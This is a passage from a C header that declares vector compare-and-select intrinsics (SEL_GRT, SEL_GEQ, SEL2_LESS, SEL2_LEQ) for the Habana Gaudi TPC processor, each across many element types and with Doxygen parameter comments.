float64 b, float64 c, float64 d, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sel_grt_f32_b(float64 a, float64 b, float64 c, float64 d, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_sel_grt_i32_vb(int64 a, int64 b, float64 c, float64 d, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sel_grt_i32_b(int64 a, int64 b, float64 c, float64 d, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_sel_grt_u32_vb(uint64 a, uint64 b, float64 c, float64 d, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sel_grt_u32_b(uint64 a, uint64 b, float64 c, float64 d, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_sel_grt_bf16_b(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_sel_grt_bf16_vb(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sel_grt_i16_vb(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sel_grt_i16_b(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_sel_grt_u16_vb(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sel_grt_u16_b(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\n\n\nint64 v_i32_sel_grt_f32_vb(float64 a, float64 b, int64 c, int64 d, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sel_grt_f32_b(float64 a, float64 b, int64 c, int64 d, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_sel_grt_i32_vb(int64 a, int64 b, int64 c, int64 d, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sel_grt_i32_b(int64 a, int64 b, int64 c, int64 d, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_sel_grt_u32_vb(uint64 a, uint64 b, int64 c, int64 d, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sel_grt_u32_b(uint64 a, uint64 b, int64 c, int64 d, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\n\nuint64 v_u32_sel_grt_f32_vb(float64 a, float64 b, uint64 c, uint64 d, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sel_grt_f32_b(float64 a, float64 b, uint64 c, uint64 d, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_sel_grt_i32_vb(int64 a, int64 b, uint64 c, uint64 d, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sel_grt_i32_b(int64 a, int64 b, uint64 c, uint64 d, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_sel_grt_u32_vb(uint64 a, uint64 b, uint64 c, uint64 d, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sel_grt_u32_b(uint64 a, uint64 b, uint64 c, uint64 d, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nshort128 v_i16_sel_grt_bf16_vb(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sel_grt_bf16_b(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\n#endif\nshort128 v_i16_sel_grt_i16_vb(short128 a, short128 b, short128 c, short128 d, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sel_grt_i16_b(short128 a, short128 b, short128 c, short128 d, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_sel_grt_u16_vb(ushort128 a, ushort128 b, short128 c, short128 d, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sel_grt_u16_b(ushort128 a, ushort128 b, short128 c, short128 d, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nushort128 v_u16_sel_grt_bf16_vb(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sel_grt_bf16_b(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\n#endif\nushort128 v_u16_sel_grt_i16_vb(short128 a, short128 b, ushort128 c, ushort128 d, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sel_grt_i16_b(short128 a, short128 b, ushort128 c, ushort128 d, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_sel_grt_u16_vb(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sel_grt_u16_b(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\n\nchar256 v_i8_sel_grt_i8_vb(char256 a, char256 b, char256 c, char256 d, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_sel_grt_i8_b(char256 a, char256 b, char256 c, char256 d, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_sel_grt_u8_vb(uchar256 a, uchar256 b, char256 c, char256 d, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_sel_grt_u8_b(uchar256 a, uchar256 b, char256 c, char256 d, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\n\nuchar256 v_u8_sel_grt_i8_vb(char256 a, char256 b, uchar256 c, uchar256 d, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_sel_grt_i8_b(char256 a, char256 b, uchar256 c, uchar256 d, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_sel_grt_u8_vb(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_sel_grt_u8_b(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\n\n/// @}\n\n\n//\n// ------ SEL_GEQ\n//\n\n/// @brief Represents SEL_GEQ instruction.\n///\n/// @param a Source #1 to compare (SRC1).\n/// @param b Source #2 to compare (SRC2).\n/// @param c Source #1 to select (SRC3).\n/// @param d Source #2 to select (SRC4).\n/// @param switches Switches of the instruction.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return One of the sources - \\p c or \\p d with respect to the comparison of the two other sources - \\p a and \\p b.\n///\n/// @{\nfloat64 v_f32_sel_geq_f32_vb(float64 a, float64 b, float64 c, float64 d, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sel_geq_f32_b(float64 a, float64 b, float64 c, float64 d, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_sel_geq_i32_vb(int64 a, int64 b, float64 c, float64 d, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sel_geq_i32_b(int64 a, int64 b, float64 c, float64 d, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\nfloat64 v_f32_sel_geq_u32_vb(uint64 a, uint64 b, float64 c, float64 d, int switches, float64 income, bool64 predicate, bool polarity=0);\nfloat64 v_f32_sel_geq_u32_b(uint64 a, uint64 b, float64 c, float64 d, int switches=0, float64 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nbfloat128 v_bf16_sel_geq_bf16_b(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_sel_geq_bf16_vb(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sel_geq_i16_vb(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sel_geq_i16_b(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\nbfloat128 v_bf16_sel_geq_u16_vb(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches, bfloat128 income, bool128 predicate, bool polarity=0);\nbfloat128 v_bf16_sel_geq_u16_b(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\n\n\nint64 v_i32_sel_geq_f32_vb(float64 a, float64 b, int64 c, int64 d, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sel_geq_f32_b(float64 a, float64 b, int64 c, int64 d, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_sel_geq_i32_vb(int64 a, int64 b, int64 c, int64 d, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sel_geq_i32_b(int64 a, int64 b, int64 c, int64 d, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nint64 v_i32_sel_geq_u32_vb(uint64 a, uint64 b, int64 c, int64 d, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_sel_geq_u32_b(uint64 a, uint64 b, int64 c, int64 d, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\n\nuint64 v_u32_sel_geq_f32_vb(float64 a, float64 b, uint64 c, uint64 d, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sel_geq_f32_b(float64 a, float64 b, uint64 c, uint64 d, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_sel_geq_i32_vb(int64 a, int64 b, uint64 c, uint64 d, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sel_geq_i32_b(int64 a, int64 b, uint64 c, uint64 d, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_sel_geq_u32_vb(uint64 a, uint64 b, uint64 c, uint64 d, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_sel_geq_u32_b(uint64 a, uint64 b, uint64 c, uint64 d, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nshort128 v_i16_sel_geq_bf16_vb(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sel_geq_bf16_b(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\n#endif\nshort128 v_i16_sel_geq_i16_vb(short128 a, short128 b, short128 c, short128 d, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sel_geq_i16_b(short128 a, short128 b, short128 c, short128 d, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_sel_geq_u16_vb(ushort128 a, ushort128 b, short128 c, short128 d, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_sel_geq_u16_b(ushort128 a, ushort128 b, short128 c, short128 d, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nushort128 v_u16_sel_geq_bf16_vb(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sel_geq_bf16_b(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\n#endif\nushort128 v_u16_sel_geq_i16_vb(short128 a, short128 b, ushort128 c, ushort128 d, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sel_geq_i16_b(short128 a, short128 b, ushort128 c, ushort128 d, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_sel_geq_u16_vb(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_sel_geq_u16_b(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\n\nchar256 v_i8_sel_geq_i8_vb(char256 a, char256 b, char256 c, char256 d, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_sel_geq_i8_b(char256 a, char256 b, char256 c, char256 d, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_sel_geq_u8_vb(uchar256 a, uchar256 b, char256 c, char256 d, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_sel_geq_u8_b(uchar256 a, uchar256 b, char256 c, char256 d, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\n\nuchar256 v_u8_sel_geq_i8_vb(char256 a, char256 b, uchar256 c, uchar256 d, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_sel_geq_i8_b(char256 a, char256 b, uchar256 c, uchar256 d, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_sel_geq_u8_vb(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_sel_geq_u8_b(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\n\n/// @}\n\n\n//\n// ------ SEL2_LESS\n//\n\n/// @brief Represents SEL2_LESS instruction.\n///\n/// @param a Source #1 to compare and select (SRC1).\n/// @param b Source #2 to compare and select (SRC2).\n/// @param c Source #1 to select (SRC3).\n/// @param d Source #2 to select (SRC4).\n/// @param switches Switches of the instruction.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Pair (c, a) or (d, b) with respect to the comparison of \\p a and \\p b.\n///\n/// @{\nfloat128 v_f32_sel2_less_f32_vb(float64 a, float64 b, float64 c, float64 d, int switches, float128 income, bool64 predicate, bool polarity=0);\nfloat128 v_f32_sel2_less_f32_b(float64 a, float64 b, float64 c, float64 d, int switches=0, float128 income={}, bool predicate=1, bool polarity=0);\nfloat64_int64 v_f32_sel2_less_i32_vb(int64 a, int64 b, float64 c, float64 d, int switches, float64_int64 income, bool64 predicate, bool polarity=0);\nfloat64_int64 v_f32_sel2_less_i32_b(int64 a, int64 b, float64 c, float64 d, int switches=0, float64_int64 income={}, bool predicate=1, bool polarity=0);\nfloat64_uint64 v_f32_sel2_less_u32_vb(uint64 a, uint64 b, float64 c, float64 d, int switches, float64_uint64 income, bool64 predicate, bool polarity=0);\nfloat64_uint64 v_f32_sel2_less_u32_b(uint64 a, uint64 b, float64 c, float64 d, int switches=0, float64_uint64 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nbfloat256 v_bf16_sel2_less_bf16_b(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat256 income={}, bool predicate=1, bool polarity=0);\nbfloat256 v_bf16_sel2_less_bf16_vb(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches, bfloat256 income, bool128 predicate, bool polarity=0);\nbfloat128_short128 v_bf16_sel2_less_i16_b(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128_short128 income={}, bool predicate=1, bool polarity=0);\nbfloat128_short128 v_bf16_sel2_less_i16_vb(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches, bfloat128_short128 income, bool128 predicate, bool polarity=0);\nbfloat128_ushort128 v_bf16_sel2_less_u16_b(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128_ushort128 income={}, bool predicate=1, bool polarity=0);\nbfloat128_ushort128 v_bf16_sel2_less_u16_vb(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches, bfloat128_ushort128 income, bool128 predicate, bool polarity=0);\n#endif\n\n\nint64_float64 v_i32_sel2_less_f32_vb(float64 a, float64 b, int64 c, int64 d, int switches, int64_float64 income, bool64 predicate, bool polarity=0);\nint64_float64 v_i32_sel2_less_f32_b(float64 a, float64 b, int64 c, int64 d, int switches=0, int64_float64 income={}, bool predicate=1, bool polarity=0);\nint128 v_i32_sel2_less_i32_vb(int64 a, int64 b, int64 c, int64 d, int switches, int128 income, bool64 predicate, bool polarity=0);\nint128 v_i32_sel2_less_i32_b(int64 a, int64 b, int64 c, int64 d, int switches=0, int128 income={}, bool predicate=1, bool polarity=0);\nint64_uint64 v_i32_sel2_less_u32_vb(uint64 a, uint64 b, int64 c, int64 d, int switches, int64_uint64 income, bool64 predicate, bool polarity=0);\nint64_uint64 v_i32_sel2_less_u32_b(uint64 a, uint64 b, int64 c, int64 d, int switches=0, int64_uint64 income={}, bool predicate=1, bool polarity=0);\n\nuint64_float64 v_u32_sel2_less_f32_vb(float64 a, float64 b, uint64 c, uint64 d, int switches, uint64_float64 income, bool64 predicate, bool polarity=0);\nuint64_float64 v_u32_sel2_less_f32_b(float64 a, float64 b, uint64 c, uint64 d, int switches=0, uint64_float64 income={}, bool predicate=1, bool polarity=0);\nuint64_int64 v_u32_sel2_less_i32_vb(int64 a, int64 b, uint64 c, uint64 d, int switches, uint64_int64 income, bool64 predicate, bool polarity=0);\nuint64_int64 v_u32_sel2_less_i32_b(int64 a, int64 b, uint64 c, uint64 d, int switches=0, uint64_int64 income={}, bool predicate=1, bool polarity=0);\nuint128 v_u32_sel2_less_u32_vb(uint64 a, uint64 b, uint64 c, uint64 d, int switches, uint128 income, bool64 predicate, bool polarity=0);\nuint128 v_u32_sel2_less_u32_b(uint64 a, uint64 b, uint64 c, uint64 d, int switches=0, uint128 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nshort128_bfloat128 v_i16_sel2_less_bf16_vb(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches, short128_bfloat128 income, bool128 predicate, bool polarity=0);\nshort128_bfloat128 v_i16_sel2_less_bf16_b(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches=0, short128_bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nshort256 v_i16_sel2_less_i16_vb(short128 a, short128 b, short128 c, short128 d, int switches, short256 income, bool128 predicate, bool polarity=0);\nshort256 v_i16_sel2_less_i16_b(short128 a, short128 b, short128 c, short128 d, int switches=0, short256 income={}, bool predicate=1, bool polarity=0);\nshort128_ushort128 v_i16_sel2_less_u16_vb(ushort128 a, ushort128 b, short128 c, short128 d, int switches, short128_ushort128 income, bool128 predicate, bool polarity=0);\nshort128_ushort128 v_i16_sel2_less_u16_b(ushort128 a, ushort128 b, short128 c, short128 d, int switches=0, short128_ushort128 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nushort128_bfloat128 v_u16_sel2_less_bf16_vb(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches, ushort128_bfloat128 income, bool128 predicate, bool polarity=0);\nushort128_bfloat128 v_u16_sel2_less_bf16_b(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches=0, ushort128_bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nushort128_short128 v_u16_sel2_less_i16_vb(short128 a, short128 b, ushort128 c, ushort128 d, int switches, ushort128_short128 income, bool128 predicate, bool polarity=0);\nushort128_short128 v_u16_sel2_less_i16_b(short128 a, short128 b, ushort128 c, ushort128 d, int switches=0, ushort128_short128 income={}, bool predicate=1, bool polarity=0);\nushort256 v_u16_sel2_less_u16_vb(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches, ushort256 income, bool128 predicate, bool polarity=0);\nushort256 v_u16_sel2_less_u16_b(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches=0, ushort256 income={}, bool predicate=1, bool polarity=0);\n\nchar512 v_i8_sel2_less_i8_vb(char256 a, char256 b, char256 c, char256 d, int switches, char512 income, bool256 predicate, bool polarity=0);\nchar512 v_i8_sel2_less_i8_b(char256 a, char256 b, char256 c, char256 d, int switches=0, char512 income={}, bool predicate=1, bool polarity=0);\nchar256_uchar256 v_i8_sel2_less_u8_vb(uchar256 a, uchar256 b, char256 c, char256 d, int switches, char256_uchar256 income, bool256 predicate, bool polarity=0);\nchar256_uchar256 v_i8_sel2_less_u8_b(uchar256 a, uchar256 b, char256 c, char256 d, int switches=0, char256_uchar256 income={}, bool predicate=1, bool polarity=0);\n\nuchar256_char256 v_u8_sel2_less_i8_vb(char256 a, char256 b, uchar256 c, uchar256 d, int switches, uchar256_char256 income, bool256 predicate, bool polarity=0);\nuchar256_char256 v_u8_sel2_less_i8_b(char256 a, char256 b, uchar256 c, uchar256 d, int switches=0, uchar256_char256 income={}, bool predicate=1, bool polarity=0);\nuchar512 v_u8_sel2_less_u8_vb(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches, uchar512 income, bool256 predicate, bool polarity=0);\nuchar512 v_u8_sel2_less_u8_b(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches=0, uchar512 income={}, bool predicate=1, bool polarity=0);\n\n/// @}\n\n\n//\n// ------ SEL2_LEQ\n//\n\n/// @brief Represents SEL2_LEQ instruction.\n///\n/// @param a Source #1 to compare and select (SRC1).\n/// @param b Source #2 to compare and select (SRC2).\n/// @param c Source #1 to select (SRC3).\n/// @param d Source #2 to select (SRC4).\n/// @param switches Switches of the instruction.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value for the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Pair (c, a) or (d, b) with respect to the comparison of \\p a and \\p b.\n///\n/// @{\nfloat128 v_f32_sel2_leq_f32_vb(float64 a, float64 b, float64 c, float64 d, int switches, float128 income, bool64 predicate, bool polarity=0);\nfloat128 v_f32_sel2_leq_f32_b(float64 a, float64 b, float64 c, float64 d, int switches=0, float128 income={}, bool predicate=1, bool polarity=0);\nfloat64_int64 v_f32_sel2_leq_i32_vb(int64 a, int64 b, float64 c, float64 d, int switches, float64_int64 income, bool64 predicate, bool polarity=0);\nfloat64_int64 v_f32_sel2_leq_i32_b(int64 a, int64 b, float64 c, float64 d, int switches=0, float64_int64 income={}, bool predicate=1, bool polarity=0);\nfloat64_uint64 v_f32_sel2_leq_u32_vb(uint64 a, uint64 b, float64 c, float64 d, int switches, float64_uint64 income, bool64 predicate, bool polarity=0);\nfloat64_uint64 v_f32_sel2_leq_u32_b(uint64 a, uint64 b, float64 c, float64 d, int switches=0, float64_uint64 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nbfloat256 v_bf16_sel2_leq_bf16_b(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat256 income={}, bool predicate=1, bool polarity=0);\nbfloat256 v_bf16_sel2_leq_bf16_vb(bfloat128 a, bfloat128 b, bfloat128 c, bfloat128 d, int switches, bfloat256 income, bool128 predicate, bool polarity=0);\nbfloat128_short128 v_bf16_sel2_leq_i16_b(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128_short128 income={}, bool predicate=1, bool polarity=0);\nbfloat128_short128 v_bf16_sel2_leq_i16_vb(short128 a, short128 b, bfloat128 c, bfloat128 d, int switches, bfloat128_short128 income, bool128 predicate, bool polarity=0);\nbfloat128_ushort128 v_bf16_sel2_leq_u16_b(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches=0, bfloat128_ushort128 income={}, bool predicate=1, bool polarity=0);\nbfloat128_ushort128 v_bf16_sel2_leq_u16_vb(ushort128 a, ushort128 b, bfloat128 c, bfloat128 d, int switches, bfloat128_ushort128 income, bool128 predicate, bool polarity=0);\n#endif\n\n\nint64_float64 v_i32_sel2_leq_f32_vb(float64 a, float64 b, int64 c, int64 d, int switches, int64_float64 income, bool64 predicate, bool polarity=0);\nint64_float64 v_i32_sel2_leq_f32_b(float64 a, float64 b, int64 c, int64 d, int switches=0, int64_float64 income={}, bool predicate=1, bool polarity=0);\nint128 v_i32_sel2_leq_i32_vb(int64 a, int64 b, int64 c, int64 d, int switches, int128 income, bool64 predicate, bool polarity=0);\nint128 v_i32_sel2_leq_i32_b(int64 a, int64 b, int64 c, int64 d, int switches=0, int128 income={}, bool predicate=1, bool polarity=0);\nint64_uint64 v_i32_sel2_leq_u32_vb(uint64 a, uint64 b, int64 c, int64 d, int switches, int64_uint64 income, bool64 predicate, bool polarity=0);\nint64_uint64 v_i32_sel2_leq_u32_b(uint64 a, uint64 b, int64 c, int64 d, int switches=0, int64_uint64 income={}, bool predicate=1, bool polarity=0);\n\nuint64_float64 v_u32_sel2_leq_f32_vb(float64 a, float64 b, uint64 c, uint64 d, int switches, uint64_float64 income, bool64 predicate, bool polarity=0);\nuint64_float64 v_u32_sel2_leq_f32_b(float64 a, float64 b, uint64 c, uint64 d, int switches=0, uint64_float64 income={}, bool predicate=1, bool polarity=0);\nuint64_int64 v_u32_sel2_leq_i32_vb(int64 a, int64 b, uint64 c, uint64 d, int switches, uint64_int64 income, bool64 predicate, bool polarity=0);\nuint64_int64 v_u32_sel2_leq_i32_b(int64 a, int64 b, uint64 c, uint64 d, int switches=0, uint64_int64 income={}, bool predicate=1, bool polarity=0);\nuint128 v_u32_sel2_leq_u32_vb(uint64 a, uint64 b, uint64 c, uint64 d, int switches, uint128 income, bool64 predicate, bool polarity=0);\nuint128 v_u32_sel2_leq_u32_b(uint64 a, uint64 b, uint64 c, uint64 d, int switches=0, uint128 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nshort128_bfloat128 v_i16_sel2_leq_bf16_vb(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches, short128_bfloat128 income, bool128 predicate, bool polarity=0);\nshort128_bfloat128 v_i16_sel2_leq_bf16_b(bfloat128 a, bfloat128 b, short128 c, short128 d, int switches=0, short128_bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nshort256 v_i16_sel2_leq_i16_vb(short128 a, short128 b, short128 c, short128 d, int switches, short256 income, bool128 predicate, bool polarity=0);\nshort256 v_i16_sel2_leq_i16_b(short128 a, short128 b, short128 c, short128 d, int switches=0, short256 income={}, bool predicate=1, bool polarity=0);\nshort128_ushort128 v_i16_sel2_leq_u16_vb(ushort128 a, ushort128 b, short128 c, short128 d, int switches, short128_ushort128 income, bool128 predicate, bool polarity=0);\nshort128_ushort128 v_i16_sel2_leq_u16_b(ushort128 a, ushort128 b, short128 c, short128 d, int switches=0, short128_ushort128 income={}, bool predicate=1, bool polarity=0);\n\n#if defined(__gaudi_plus__)\nushort128_bfloat128 v_u16_sel2_leq_bf16_vb(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches, ushort128_bfloat128 income, bool128 predicate, bool polarity=0);\nushort128_bfloat128 v_u16_sel2_leq_bf16_b(bfloat128 a, bfloat128 b, ushort128 c, ushort128 d, int switches=0, ushort128_bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nushort128_short128 v_u16_sel2_leq_i16_vb(short128 a, short128 b, ushort128 c, ushort128 d, int switches, ushort128_short128 income, bool128 predicate, bool polarity=0);\nushort128_short128 v_u16_sel2_leq_i16_b(short128 a, short128 b, ushort128 c, ushort128 d, int switches=0, ushort128_short128 income={}, bool predicate=1, bool polarity=0);\nushort256 v_u16_sel2_leq_u16_vb(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches, ushort256 income, bool128 predicate, bool polarity=0);\nushort256 v_u16_sel2_leq_u16_b(ushort128 a, ushort128 b, ushort128 c, ushort128 d, int switches=0, ushort256 income={}, bool predicate=1, bool polarity=0);\n\nchar512 v_i8_sel2_leq_i8_vb(char256 a, char256 b, char256 c, char256 d, int switches, char512 income, bool256 predicate, bool polarity=0);\nchar512 v_i8_sel2_leq_i8_b(char256 a, char256 b, char256 c, char256 d, int switches=0, char512 income={}, bool predicate=1, bool polarity=0);\nchar256_uchar256 v_i8_sel2_leq_u8_vb(uchar256 a, uchar256 b, char256 c, char256 d, int switches, char256_uchar256 income, bool256 predicate, bool polarity=0);\nchar256_uchar256 v_i8_sel2_leq_u8_b(uchar256 a, uchar256 b, char256 c, char256 d, int switches=0, char256_uchar256 income={}, bool predicate=1, bool polarity=0);\n\nuchar256_char256 v_u8_sel2_leq_i8_vb(char256 a, char256 b, uchar256 c, uchar256 d, int switches, uchar256_char256 income, bool256 predicate, bool polarity=0);\nuchar256_char256 v_u8_sel2_leq_i8_b(char256 a, char256 b, uchar256 c, uchar256 d, int switches=0, uchar256_char256 income={}, bool predicate=1, bool polarity=0);\nuchar512 v_u8_sel2_leq_u8_vb(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches, uchar512 income, bool256 predicate, bool polarity=0);\nuchar512 v_u8_sel2_leq_u8_b(uchar256 a, uchar256 b, uchar256 c, uchar256 d, int switches=0, uchar512 income={}, bool predicate=1, bool polarity=0);\n\n/// @}\n\n\n//\n// ------ SEL2_GRT\n//\n\n/// @brief Represents SEL2_GRT instruction.\n///\n/// @param a Source #1 to compare and select (SRC1).\n/// @param b Source #2 to compare and select (SRC2).\n/// @param c Source #1 to select (SRC3).\n/// @param d Source #2 to select (SRC4).\n/// @param switches Switches of the instruction.\n/// @param income Income 